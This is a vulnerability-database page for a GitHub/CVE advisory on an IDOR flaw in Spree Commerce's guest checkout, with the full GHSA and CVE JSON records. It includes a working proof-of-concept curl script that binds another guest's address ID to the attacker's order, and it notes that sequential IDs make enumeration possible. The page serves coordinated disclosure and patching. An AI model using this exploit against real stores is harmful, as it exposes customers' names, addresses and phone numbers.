Vulnerability-Lookup

GHSA-87FH-RC96-6FR6

Vulnerability from github – Published: 2026-02-05 21:19 – Updated: 2026-02-07 00:32

Summary

Unauthenticated Spree Commerce users can access all guest addresses

Details

Summary

A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

Unauthenticated users can access all guest addresses (`GHSL-2026-027`)

The vulnerability stems from incomplete authorization validation in Spree's checkout address assignment logic. While nested address attributes (bill_address_attributes[id] and ship_address_attributes[id]) are properly validated through validate_address_ownership, plain ID parameters (bill_address_id and ship_address_id) bypass this check entirely. Since Spree's address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.

Affected Code Components

Permitted Attributes (core/lib/spree/permitted_attributes.rb:92–96)
Allows bill_address_id and ship_address_id as permitted parameters without validation
Checkout Update (core/app/models/spree/order/checkout.rb:241–254)
Applies permitted parameters directly to the Order model via update_from_params
Incomplete Ownership Validation (core/app/services/spree/checkout/update.rb:33–48)
validate_address_ownership only validates nested attributes structure
Does NOT validate plain bill_address_id/ship_address_id fields
Vulnerable Assignment Logic (core/app/models/spree/order/address_book.rb:16–23, 31–38)
bill_address_id= setter
ship_address_id= setter

Both setters check that: address.user_id == order.user_id. For guest orders: nil == nil → TRUE ✓ (bypass!)

Proof of Concept

Precondition: One guest address has to exist in Spree's database. (E.g. Create an order with a guest account and note the ID from the spree_addresses table. E.g. 3)

As a guest user: 1. Put one product in the cart and go to checkout. 2. Fill in some address/phone number and continue. 3. Modify this script containing a curl request with current values.

#!/bin/bash

ATTACKER_ORDER_TOKEN="" # Taken from the URL
VICTIM_ADDRESS_ID="3" # As noted from the database
CSRF_TOKEN="" # From page source; `content` value from meta param `csrf-token`.
SESSION_COOKIE="token=...; _my_store_session=..." # from the browsers cookie store.

curl -i -X POST \
  -H "x-csrf-token: ${CSRF_TOKEN}" \
  -H "Content-Type: application/x-www-form-urlencoded;charset=UTF-8" \
  -b "${SESSION_COOKIE}" \
  --data-urlencode "_method=patch" \
  --data-urlencode "authenticity_token=${CSRF_TOKEN}" \
  --data-urlencode "order[ship_address_id]=${VICTIM_ADDRESS_ID}" \
  "http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address"

Expected Result: Attacker's order now references victim's address. Through that the attacker has all address details in full display. This can be verified by accessing /checkout/${ATTACKER_ORDER_TOKEN}/delivery in the same browser where you created the new guest cart.

Impact

This issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).

CWEs

CWE-639: Authorization Bypass Through User-Controlled Key
CWE-284: Improper Access Control

Credit

This issue was discovered with the GitHub Security Lab Taskflow Agent and manually verified by GHSL team members @p- (Peter Stöckli) and @m-y-mo (Man Yue Mo).

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Severity ?

7.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.1.0"
            },
            {
              "fixed": "5.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:19:30Z",
    "nvd_published_at": "2026-02-06T22:16:12Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA critical IDOR vulnerability exists in Spree Commerce\u0027s guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests\u0027 personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions.\n\n### Impact\nThis issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).\n\n### Unauthenticated users can access all guest addresses (`GHSL-2026-027`)\n\nThe vulnerability stems from incomplete authorization validation in Spree\u0027s checkout address assignment logic. While nested address attributes (`bill_address_attributes[id]` and `ship_address_attributes[id]`) are properly validated through `validate_address_ownership`, plain ID parameters (`bill_address_id` and `ship_address_id`) bypass this check entirely. Since Spree\u0027s address IDs are sequential numbers, an attacker might get all guest addresses by simply enumerating over them.\n\n### Affected Code Components\n\n1. **Permitted Attributes** ([`core/lib/spree/permitted_attributes.rb:92\u201396`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96))\n   - Allows `bill_address_id` and `ship_address_id` as permitted parameters without validation\n\n2. **Checkout Update** ([`core/app/models/spree/order/checkout.rb:241\u2013254`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254))\n   - Applies permitted parameters directly to the Order model via `update_from_params`\n\n3. **Incomplete Ownership Validation** ([`core/app/services/spree/checkout/update.rb:33\u201348`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48))\n   - `validate_address_ownership` only validates nested attributes structure\n   - Does NOT validate plain `bill_address_id`/`ship_address_id` fields\n\n4. **Vulnerable Assignment Logic** ([`core/app/models/spree/order/address_book.rb:16\u201323, 31\u201338`](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38))\n   * [`bill_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L24)\n   * [`ship_address_id=` setter](https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L31-L39)\n\nBoth setters check that: `address.user_id == order.user_id`. For guest orders: nil == nil \u2192 TRUE \u2713 (bypass!)\n\n#### Proof of Concept\n\nPrecondition: One guest address has to exist in Spree\u0027s database. (E.g. Create an order with a guest account and note the ID from the `spree_addresses` table. E.g. `3`)\n\nAs a guest user:\n1. Put one product in the cart and go to checkout.\n2. Fill in some address/phone number and continue.\n3. Modify this script containing a curl request with current values.\n\n```bash\n#!/bin/bash\n\nATTACKER_ORDER_TOKEN=\"\" # Taken from the URL\nVICTIM_ADDRESS_ID=\"3\" # As noted from the database\nCSRF_TOKEN=\"\" # From page source; `content` value from meta param `csrf-token`.\nSESSION_COOKIE=\"token=...; _my_store_session=...\" # from the browsers cookie store.\n\ncurl -i -X POST \\\n  -H \"x-csrf-token: ${CSRF_TOKEN}\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded;charset=UTF-8\" \\\n  -b \"${SESSION_COOKIE}\" \\\n  --data-urlencode \"_method=patch\" \\\n  --data-urlencode \"authenticity_token=${CSRF_TOKEN}\" \\\n  --data-urlencode \"order[ship_address_id]=${VICTIM_ADDRESS_ID}\" \\\n  \"http://localhost:3000/checkout/${ATTACKER_ORDER_TOKEN}/update/address\"\n```\n\nExpected Result: Attacker\u0027s order now references victim\u0027s address. Through that the attacker has all address details in full display.\nThis can be verified by accessing  `/checkout/${ATTACKER_ORDER_TOKEN}/delivery` in the same browser where you created the new guest cart.\n\n#### Impact\n\nThis issue may lead to disclosure of PII of guest users (including names, addresses and phone numbers).\n\n#### CWEs\n\n- CWE-639: Authorization Bypass Through User-Controlled Key\n- CWE-284: Improper Access Control\n\n### Credit\n\nThis issue was discovered with the [GitHub Security Lab Taskflow Agent](https://github.com/GitHubSecurityLab/seclab-taskflow-agent) and manually verified by GHSL team members [@p- (Peter St\u00f6ckli)](https://github.com/p-) and [@m-y-mo (Man Yue Mo)](https://github.com/m-y-mo).\n\n### Disclosure Policy\n\nThis report is subject to a 90-day disclosure deadline, as described in more detail in our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).",
  "id": "GHSA-87fh-rc96-6fr6",
  "modified": "2026-02-07T00:32:04Z",
  "published": "2026-02-05T21:19:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spree/spree"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Unauthenticated Spree Commerce users can access all guest addresses"
}

CVE-2026-25758 (GCVE-0-2026-25758)

Vulnerability from cvelistv5 – Published: 2026-02-06 21:29 – Updated: 2026-02-06 21:29

Title

Spree allows unauthenticated users can access all guest addresses

Summary

Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce's guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests' personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2.

Severity ?

7.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key
CWE-284 - Improper Access Control

Assigner

GitHub_M

References

URL

Tags

	https://github.com/spree/spree/security/advisorie…	x_refsource_CONFIRM
	https://github.com/spree/spree/commit/15619618e43…	x_refsource_MISC
	https://github.com/spree/spree/commit/29282d1565b…	x_refsource_MISC
	https://github.com/spree/spree/commit/6650f96356f…	x_refsource_MISC
	https://github.com/spree/spree/commit/902d301ac83…	x_refsource_MISC
	https://github.com/spree/spree/commit/ff7cfcfcfe0…	x_refsource_MISC
	https://github.com/spree/spree/blob/1341623f2ae92…	x_refsource_MISC
	https://github.com/spree/spree/blob/1341623f2ae92…	x_refsource_MISC
	https://github.com/spree/spree/blob/1341623f2ae92…	x_refsource_MISC
	https://github.com/spree/spree/blob/1341623f2ae92…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	spree	spree	Affected: < 4.10.3 Affected: >= 5.0.0, < 5.0.8 Affected: >= 5.1.0.beta, < 5.1.10 Affected: >= 5.2.0.rc1, < 5.2.7 Affected: >= 5.3.0.rc2, < 5.3.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "spree",
          "vendor": "spree",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.10.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 5.0.8"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.1.0.beta, \u003c 5.1.10"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.2.0.rc1, \u003c 5.2.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.3.0.rc2, \u003c 5.3.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Spree is an open source e-commerce solution built with Ruby on Rails. A critical IDOR vulnerability exists in Spree Commerce\u0027s guest checkout flow that allows any guest user to bind arbitrary guest addresses to their order by manipulating address ID parameters. This enables unauthorized access to other guests\u0027 personally identifiable information (PII) including names, addresses and phone numbers. The vulnerability bypasses existing ownership validation checks and affects all guest checkout transactions. This vulnerability is fixed in 4.10.3, 5.0.8, 5.1.10, 5.2.7, and 5.3.2."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-06T21:29:20.846Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/spree/spree/security/advisories/GHSA-87fh-rc96-6fr6"
        },
        {
          "name": "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/commit/15619618e43b367617ec8d2d4aafc5e54fa7b734"
        },
        {
          "name": "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/commit/29282d1565ba4f7bc2bbc47d550e2c0c6d0ae59f"
        },
        {
          "name": "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/commit/6650f96356faa0d16c05bcb516f1ffd5641741b8"
        },
        {
          "name": "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/commit/902d301ac83fd2047db1b9a3a99545162860f748"
        },
        {
          "name": "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/commit/ff7cfcfcfe0c40c60d03317e1d0ee361c6a6b054"
        },
        {
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/address_book.rb#L16-L38"
        },
        {
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/models/spree/order/checkout.rb#L241-L254"
        },
        {
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/app/services/spree/checkout/update.rb#L33-L48"
        },
        {
          "name": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/spree/spree/blob/1341623f2ae92685cdbe232885bf5808fc8f9ca8/core/lib/spree/permitted_attributes.rb#L92-L96"
        }
      ],
      "source": {
        "advisory": "GHSA-87fh-rc96-6fr6",
        "discovery": "UNKNOWN"
      },
      "title": "Spree allows unauthenticated users can access all guest addresses"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25758",
    "datePublished": "2026-02-06T21:29:20.846Z",
    "dateReserved": "2026-02-05T18:35:52.357Z",
    "dateUpdated": "2026-02-06T21:29:20.846Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-87FH-RC96-6FR6

Summary

Impact

Unauthenticated users can access all guest addresses (GHSL-2026-027)

Affected Code Components

Proof of Concept

Impact

CWEs

Credit

Disclosure Policy

CVE-2026-25758 (GCVE-0-2026-25758)

Tags

Sightings

Nomenclature

Unauthenticated users can access all guest addresses (`GHSL-2026-027`)